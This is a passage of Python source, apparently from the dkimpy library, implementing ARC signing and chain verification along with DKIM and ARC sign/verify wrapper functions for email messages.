UnparsableKeyError as e: 948 | raise KeyFormatError(str(e)) 949 | 950 | # extract, parse, filter & group AR headers 951 | ar_headers = [res.strip() for [ar, res] in self.headers if ar == b'Authentication-Results'] 952 | grouped_headers = [(res, AuthenticationResultsHeader.parse('Authentication-Results: ' + res.decode('utf-8'))) 953 | for res in ar_headers] 954 | auth_headers = [res for res in grouped_headers if res[1].authserv_id == srv_id.decode('utf-8')] 955 | 956 | if len(auth_headers) == 0: 957 | self.logger.debug("no AR headers found, chain terminated") 958 | return [] 959 | 960 | # consolidate headers 961 | results_lists = [raw.replace(srv_id + b';', b'').strip() for (raw, parsed) in auth_headers] 962 | results_lists = [tags.split(b';') for tags in results_lists] 963 | results = [tag.strip() for sublist in results_lists for tag in sublist] 964 | auth_results = srv_id + b'; ' + (b';' + self.linesep + b' ').join(results) 965 | 966 | # extract cv 967 | parsed_auth_results = AuthenticationResultsHeader.parse('Authentication-Results: ' + auth_results.decode('utf-8')) 968 | arc_results = [res for res in parsed_auth_results.results if res.method == 'arc'] 969 | if len(arc_results) == 0: 970 | chain_validation_status = CV_None 971 | elif len(arc_results) != 1: 972 | self.logger.debug("multiple AR arc stamps found, failing chain") 973 | chain_validation_status = CV_Fail 974 | else: 975 | chain_validation_status = arc_results[0].result.lower().encode('utf-8') 976 | 977 | # Setup headers 978 | if include_headers is None: 979 | include_headers = self.default_sign_headers() 980 | 981 | include_headers = tuple([x.lower() for x in include_headers]) 982 | 983 | # record what verify should extract 984 | self.include_headers = include_headers 985 | 986 | # rfc4871 says FROM is required 987 | if b'from' not in include_headers: 988 | raise ParameterError("The From header field MUST be signed") 989 | 990 | # raise exception for any SHOULD_NOT headers, call can modify 991 | # SHOULD_NOT if really needed. 992 | for x in set(include_headers).intersection(self.should_not_sign): 993 | raise ParameterError("The %s header field SHOULD NOT be signed"%x) 994 | 995 | max_instance, arc_headers_w_instance = self.sorted_arc_headers() 996 | instance = 1 997 | if len(arc_headers_w_instance) != 0: 998 | instance = max_instance + 1 999 | if instance > INSTANCE_LIMIT: 1000 | raise ParameterError("Maximum instance tag value exceeded") 1001 | 1002 | if instance == 1 and chain_validation_status != CV_None: 1003 | raise ParameterError("No existing chain found on message, cv should be none") 1004 | elif instance != 1 and chain_validation_status == CV_None: 1005 | self.logger.debug("no previous AR arc results found and instance > 1, chain terminated") 1006 | return [] 1007 | 1008 | new_arc_set = [] 1009 | if chain_validation_status != CV_Fail: 1010 | arc_headers = [y for x,y in arc_headers_w_instance] 1011 | else: # don't include previous sets for a failed/invalid chain 1012 | arc_headers = [] 1013 | 1014 | # Compute ARC-Authentication-Results 1015 | aar_value = ("i=%d; " % instance).encode('utf-8') + auth_results 1016 | if aar_value[-1] != b'\n': aar_value += b'\r\n' 1017 | 1018 | new_arc_set.append(b"ARC-Authentication-Results: " + aar_value) 1019 | self.headers.insert(0, (b"arc-authentication-results", aar_value)) 1020 | arc_headers.insert(0, (b"ARC-Authentication-Results", aar_value)) 1021 | 1022 | # Compute bh= 1023 | canon_policy = CanonicalizationPolicy.from_c_value(b'relaxed/relaxed') 1024 | 1025 | self.hasher = HASH_ALGORITHMS[self.signature_algorithm] 1026 | h = HashThrough(self.hasher(), self.debug_content) 1027 | h.update(canon_policy.canonicalize_body(self.body)) 1028 | if self.debug_content: 1029 | self.logger.debug("sign ams body hashed: %r" % h.hashed()) 1030 | bodyhash = base64.b64encode(h.digest()) 1031 | 1032 | # Compute ARC-Message-Signature 1033 | timestamp = str(timestamp or int(time.time())).encode('ascii') 1034 | ams_fields = [x for x in [ 1035 | (b'i', str(instance).encode('ascii')), 1036 | (b'a', self.signature_algorithm), 1037 | (b'c', b'relaxed/relaxed'), 1038 | (b'd', domain), 1039 | (b's', selector), 1040 | (b't', timestamp), 1041 | (b'h', b" : ".join(include_headers)), 1042 | (b'bh', bodyhash), 1043 | # Force b= to fold onto it's own line so that refolding after 1044 | # adding sig doesn't change whitespace for previous tags. 1045 | (b'b', b'0'*60), 1046 | ] if x] 1047 | 1048 | res = self.gen_header(ams_fields, include_headers, canon_policy, 1049 | b"ARC-Message-Signature", pk, standardize) 1050 | 1051 | new_arc_set.append(b"ARC-Message-Signature: " + res) 1052 | self.headers.insert(0, (b"ARC-Message-Signature", res)) 1053 | arc_headers.insert(0, (b"ARC-Message-Signature", res)) 1054 | 1055 | # Compute ARC-Seal 1056 | as_fields = [x for x in [ 1057 | (b'i', str(instance).encode('ascii')), 1058 | (b'cv', chain_validation_status), 1059 | (b'a', self.signature_algorithm), 1060 | (b'd', domain), 1061 | (b's', selector), 1062 | (b't', timestamp), 1063 | # Force b= to fold onto it's own line so that refolding after 1064 | # adding sig doesn't change whitespace for previous tags. 1065 | (b'b', b'0'*60), 1066 | ] if x] 1067 | 1068 | as_include_headers = [x[0].lower() for x in arc_headers] 1069 | as_include_headers.reverse() 1070 | 1071 | # if our chain is failing or invalid, we only grab the most recent set 1072 | # reversing the order of the headers accomplishes this 1073 | if chain_validation_status == CV_Fail: 1074 | self.headers.reverse() 1075 | if b'h' in as_fields: 1076 | raise ValidationError("h= tag not permitted in ARC-Seal header field") 1077 | res = self.gen_header(as_fields, as_include_headers, canon_policy, 1078 | b"ARC-Seal", pk, standardize) 1079 | 1080 | new_arc_set.append(b"ARC-Seal: " + res) 1081 | self.headers.insert(0, (b"ARC-Seal", res)) 1082 | arc_headers.insert(0, (b"ARC-Seal", res)) 1083 | 1084 | new_arc_set.reverse() 1085 | 1086 | return new_arc_set 1087 | 1088 | #: Verify an ARC set. 1089 | #: @type instance: int 1090 | #: @param instance: which ARC set to verify, based on i= instance. 1091 | #: @type dnsfunc: callable 1092 | #: @param dnsfunc: an optional function to lookup TXT resource records 1093 | #: for a DNS domain. The default uses dnspython or pydns. 1094 | #: @return: True if signature verifies or False otherwise 1095 | #: @return: three-tuple of (CV Result (CV_Pass, CV_Fail, CV_None or None, for a chain that has ended), list of 1096 | #: result dictionaries, result reason) 1097 | #: @raise DKIMException: when the message, signature, or key are badly formed 1098 | def verify(self,dnsfunc=get_txt): 1099 | result_data = [] 1100 | max_instance, arc_headers_w_instance = self.sorted_arc_headers() 1101 | if max_instance == 0: 1102 | return CV_None, result_data, "Message is not ARC signed" 1103 | for instance in range(max_instance, 0, -1): 1104 | try: 1105 | result = self.verify_instance(arc_headers_w_instance, instance, dnsfunc=dnsfunc) 1106 | result_data.append(result) 1107 | except DKIMException as e: 1108 | self.logger.error("%s" % e) 1109 | return CV_Fail, result_data, "%s" % e 1110 | 1111 | # Most recent instance must ams-validate 1112 | if not result_data[0]['ams-valid']: 1113 | return CV_Fail, result_data, "Most recent ARC-Message-Signature did not validate" 1114 | for result in result_data: 1115 | if result['cv'] == CV_Fail: 1116 | return None, result_data, "ARC-Seal[%d] reported failure, the chain is terminated" % result['instance'] 1117 | elif not result['as-valid']: 1118 | return CV_Fail, result_data, "ARC-Seal[%d] did not validate" % result['instance'] 1119 | elif (result['instance'] == 1) and (result['cv'] != CV_None): 1120 | return CV_Fail, result_data, "ARC-Seal[%d] reported invalid status %s" % (result['instance'], result['cv']) 1121 | elif (result['instance'] != 1) and (result['cv'] == CV_None): 1122 | return CV_Fail, result_data, "ARC-Seal[%d] reported invalid status %s" % (result['instance'], result['cv']) 1123 | return CV_Pass, result_data, "success" 1124 | 1125 | #: Verify an ARC set. 1126 | #: @type arc_headers_w_instance: list 1127 | #: @param arc_headers_w_instance: list of tuples, (instance, (name, value)) of 1128 | #: ARC headers 1129 | #: @type instance: int 1130 | #: @param instance: which ARC set to verify, based on i= instance. 1131 | #: @type dnsfunc: callable 1132 | #: @param dnsfunc: an optional function to lookup TXT resource records 1133 | #: for a DNS domain. The default uses dnspython or pydns. 1134 | #: @return: True if signature verifies or False otherwise 1135 | #: @raise DKIMException: when the message, signature, or key are badly formed 1136 | def verify_instance(self,arc_headers_w_instance,instance,dnsfunc=get_txt): 1137 | if (instance == 0) or (len(arc_headers_w_instance) == 0): 1138 | raise ParameterError("request to verify instance %d not present" % (instance)) 1139 | 1140 | aar_value = None 1141 | ams_value = None 1142 | as_value = None 1143 | arc_headers = [] 1144 | output = { 'instance': instance } 1145 | 1146 | for i, arc_header in arc_headers_w_instance: 1147 | if i > instance: continue 1148 | arc_headers.append(arc_header) 1149 | if i == instance: 1150 | if arc_header[0].lower() == b"arc-authentication-results": 1151 | if aar_value is not None: 1152 | raise MessageFormatError("Duplicate ARC-Authentication-Results for instance %d" % instance) 1153 | aar_value = arc_header[1] 1154 | elif arc_header[0].lower() == b"arc-message-signature": 1155 | if ams_value is not None: 1156 | raise MessageFormatError("Duplicate ARC-Message-Signature for instance %d" % instance) 1157 | ams_value = arc_header[1] 1158 | elif arc_header[0].lower() == b"arc-seal": 1159 | if as_value is not None: 1160 | raise MessageFormatError("Duplicate ARC-Seal for instance %d" % instance) 1161 | as_value = arc_header[1] 1162 | 1163 | if (aar_value is None) or (ams_value is None) or (as_value is None): 1164 | raise MessageFormatError("Incomplete ARC set for instance %d" % instance) 1165 | 1166 | output['aar-value'] = aar_value 1167 | 1168 | # Validate Arc-Message-Signature 1169 | try: 1170 | sig = parse_tag_value(ams_value) 1171 | except InvalidTagValueList as e: 1172 | raise MessageFormatError(e) 1173 | 1174 | self.logger.debug("ams sig[%d]: %r" % (instance, sig)) 1175 | 1176 | validate_signature_fields(sig, [b'i', b'a', b'b', b'bh', b'd', b'h', b's'], True) 1177 | output['ams-domain'] = sig[b'd'] 1178 | output['ams-selector'] = sig[b's'] 1179 | 1180 | include_headers = [x.lower() for x in re.split(br"\s*:\s*", sig[b'h'])] 1181 | if b'arc-seal' in include_headers: 1182 | raise ParameterError("The Arc-Message-Signature MUST NOT sign ARC-Seal") 1183 | 1184 | ams_header = (b'ARC-Message-Signature', b' ' + ams_value) 1185 | 1186 | 1187 | # we can't use the AMS provided above, as it's already been canonicalized relaxed 1188 | # for use in validating the AS. However the AMS is included in the AMS itself, 1189 | # and this can use simple canonicalization 1190 | raw_ams_header = [(x, y) for (x, y) in self.headers if x.lower() == b'arc-message-signature'][0] 1191 | 1192 | # Only relaxed canonicalization used by ARC 1193 | if b'c' not in sig: 1194 | sig[b'c'] = b'relaxed/relaxed' 1195 | try: 1196 | ams_valid = self.verify_sig(sig, include_headers, raw_ams_header, dnsfunc) 1197 | except DKIMException as e: 1198 | self.logger.error("%s" % e) 1199 | ams_valid = False 1200 | 1201 | output['ams-valid'] = ams_valid 1202 | self.logger.debug("ams valid: %r" % ams_valid) 1203 | 1204 | # Validate Arc-Seal 1205 | try: 1206 | sig = parse_tag_value(as_value) 1207 | except InvalidTagValueList as e: 1208 | raise MessageFormatError(e) 1209 | 1210 | self.logger.debug("as sig[%d]: %r" % (instance, sig)) 1211 | 1212 | validate_signature_fields(sig, [b'i', b'a', b'b', b'cv', b'd', b's'], True) 1213 | if b'h' in sig: 1214 | raise ValidationError("h= tag not permitted in ARC-Seal header field") 1215 | 1216 | output['as-domain'] = sig[b'd'] 1217 | output['as-selector'] = sig[b's'] 1218 | output['cv'] = sig[b'cv'] 1219 | 1220 | as_include_headers = [x[0].lower() for x in arc_headers] 1221 | as_include_headers.reverse() 1222 | as_header = (b'ARC-Seal', b' ' + as_value) 1223 | # Only relaxed canonicalization used by ARC 1224 | if b'c' not in sig: 1225 | sig[b'c'] = b'relaxed/relaxed' 1226 | try: 1227 | as_valid = self.verify_sig(sig, as_include_headers[:-1], as_header, dnsfunc) 1228 | except DKIMException as e: 1229 | self.logger.error("%s" % e) 1230 | as_valid = False 1231 | 1232 | output['as-valid'] = as_valid 1233 | self.logger.debug("as valid: %r" % as_valid) 1234 | return output 1235 | 1236 | 1237 | def sign(message, selector, domain, privkey, identity=None, 1238 | canonicalize=(b'relaxed', b'simple'), 1239 | signature_algorithm=b'rsa-sha256', 1240 | include_headers=None, length=False, logger=None, 1241 | linesep=b'\r\n'): 1242 | # type: (bytes, bytes, bytes, bytes, bytes, tuple, bytes, list, bool, any) -> bytes 1243 | """Sign an RFC822 message and return the DKIM-Signature header line. 1244 | @param message: an RFC822 formatted message (with either \\n or \\r\\n line endings) 1245 | @param selector: the DKIM selector value for the signature 1246 | @param domain: the DKIM domain value for the signature 1247 | @param privkey: a PKCS#1 private key in base64-encoded text form 1248 | @param identity: the DKIM identity value for the signature (default "@"+domain) 1249 | @param canonicalize: the canonicalization algorithms to use (default (Simple, Simple)) 1250 | @param signature_algorithm: the signing algorithm to use when signing 1251 | @param include_headers: a list of strings indicating which headers are to be signed (default all headers not listed as SHOULD NOT sign) 1252 | @param length: true if the l= tag should be included to indicate body length (default False) 1253 | @param logger: a logger to which debug info will be written (default None) 1254 | @param linesep: use this line seperator for folding the headers 1255 | @return: DKIM-Signature header field terminated by \\r\\n 1256 | @raise DKIMException: when the message, include_headers, or key are badly formed. 1257 | """ 1258 | 1259 | d = DKIM(message,logger=logger,signature_algorithm=signature_algorithm,linesep=linesep) 1260 | return d.sign(selector, domain, privkey, identity=identity, canonicalize=canonicalize, include_headers=include_headers, length=length) 1261 | 1262 | 1263 | def verify(message, logger=None, dnsfunc=get_txt, minkey=1024): 1264 | """Verify the first (topmost) DKIM signature on an RFC822 formatted message. 1265 | @param message: an RFC822 formatted message (with either \\n or \\r\\n line endings) 1266 | @param logger: a logger to which debug info will be written (default None) 1267 | @return: True if signature verifies or False otherwise 1268 | """ 1269 | # type: (bytes, any, function, int) -> bool 1270 | d = DKIM(message,logger=logger,minkey=minkey) 1271 | try: 1272 | return d.verify(dnsfunc=dnsfunc) 1273 | except DKIMException as x: 1274 | if logger is not None: 1275 | logger.error("%s" % x) 1276 | return False 1277 | 1278 | # For consistency with ARC 1279 | dkim_sign = sign 1280 | dkim_verify = verify 1281 | 1282 | 1283 | def arc_sign(message, selector, domain, privkey, 1284 | srv_id, signature_algorithm=b'rsa-sha256', 1285 | include_headers=None, timestamp=None, 1286 | logger=None, standardize=False, linesep=b'\r\n'): 1287 | # type: (bytes, bytes, bytes, bytes, bytes, bytes, list, any, any, bool) -> list 1288 | """Sign an RFC822 message and return the ARC set header lines for the next instance 1289 | @param message: an RFC822 formatted message (with either \\n or \\r\\n line endings) 1290 | @param selector: the DKIM selector value for the signature 1291 | @param domain: the DKIM domain value for the signature 1292 | @param privkey: a PKCS#1 private key in base64-encoded text form 1293 | @param srv_id: the authserv_id used to identify the ADMD's AR headers and to use for ARC authserv_id 1294 | @param signature_algorithm: the signing algorithm to use when signing 1295 | @param include_headers: a list of strings indicating which headers are to be signed (default all headers not listed as SHOULD NOT sign) 1296 | @param timestamp: the time in integer seconds when the message is sealed (default is int(time.time) based on platform, can be string or int) 1297 | @param logger: a logger to which debug info will be written (default None) 1298 | @param linesep: use this line seperator for folding the headers 1299 | @return: A list containing the ARC set of header fields for the next instance 1300 | @raise DKIMException: when the message, include_headers, or key are badly formed. 1301 | """ 1302 | 1303 | a = ARC(message,logger=logger,signature_algorithm=b'rsa-sha256',linesep=linesep) 1304 | if not include_headers: 1305 | include_headers = a.default_sign_headers() 1306 | return a.sign(selector, domain, privkey, srv_id, include_headers=include_headers, 1307 | timestamp=timestamp, standardize=standardize) 1308 | 1309 | 1310 | def arc_verify(message, logger=None, dnsfunc=get_txt, minkey=1024): 1311 | # type: (bytes, any, function, int) -> tuple 1312 | """Verify the ARC chain on an RFC822 formatted message. 1313 | @param message: an RFC822 formatted message (with either \\n or \\r\\n line endings) 1314 | @param logger: a logger to which debug info will be written (default None) 1315 | @param dnsfunc: an optional function to lookup TXT resource records 1316 | @param minkey: the minimum key size to accept 1317 | @return: three-tuple of (CV Result (CV_Pass, CV_Fail or CV_None), list of 1318 | result dictionaries, result reason) 1319 | """ 1320 | a = ARC(message,logger=logger,minkey=minkey) 1321 | try: 1322 | return a.verify(dnsfunc=dnsfunc) 1323 | except DKIMException as x: 1324 | if logger is not None: 1325 | logger.error("%s" % x) 1326 | return CV_Fail, [], "%s" % x 1327 | --------------------------------------------------------------------------------